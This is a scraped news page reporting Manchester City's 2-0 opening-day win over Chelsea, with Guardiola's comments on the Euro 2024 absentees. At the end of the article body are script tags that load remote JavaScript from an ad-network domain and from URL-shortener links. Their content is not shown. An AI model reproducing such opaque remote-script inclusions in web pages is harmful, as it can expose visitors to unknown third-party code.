<p><a href="https://www.mid-day.com/sports/football/article/head-coach-pep-guardiola-confirms-kevin-de-bruyne-not-leaving-manchester-city-23367335" target="_blank" rel="nofollow noopener"><strong>Pep Guardiola</strong></a> praised Manchester City&rsquo;s attitude to defy a disrupted pre-season and get their Premier League title defence off to a winning start by beating Chelsea 2-0 on Sunday. Goals from Erling Haaland and Mateo Kovacic inflicted defeat on Enzo Maresca in his first match in charge of the Blues.</p>
<p><strong>Also Read:&nbsp;<a href="https://www.mid-day.com/sports/other-sports/article/cas-onus-on-vinesh-to-maintain-weight-limit-23377475" target="_blank" rel="nofollow noopener">CAS: Onus on Vinesh to maintain weight limit</a></strong></p>
<p>City were shorn of all four of their <a href="https://www.mid-day.com/sports/football/article/this-spanish-armada-wont-stop-here-23364383" target="_blank" rel="nofollow noopener"><strong>Euro 2024</strong></a> finalists&mdash;Rodri, Kyle Waker, John Stones and Phil Foden&mdash;from the start as Guardiola opted to give them extra time off to recover from their summer exertions.</p>
<p>The likes of Kevin De Bruyne, Bernardo Silva, Ruben Dias and Manuel Akanji did play the 90 minutes despite their late return to training after reaching the knockout stages of the Euros. &ldquo;I really didn&rsquo;t expect it. I know what these guys can do, but the first day and lack of training,&rdquo; said Guardiola.</p>
<p><span style="font-size: x-small;"><em>This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever</em></span></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

Goals from Erling Haaland and Mateo Kovacic inflicted defeat on Enzo Maresca in his first match in charge of the Blues

City boss Guardiola didn’t expect win over Chelsea

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Sports / Football / Article / City boss Guardiola didn’t expect win over Chelsea

City boss Guardiola didn’t expect win over Chelsea

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast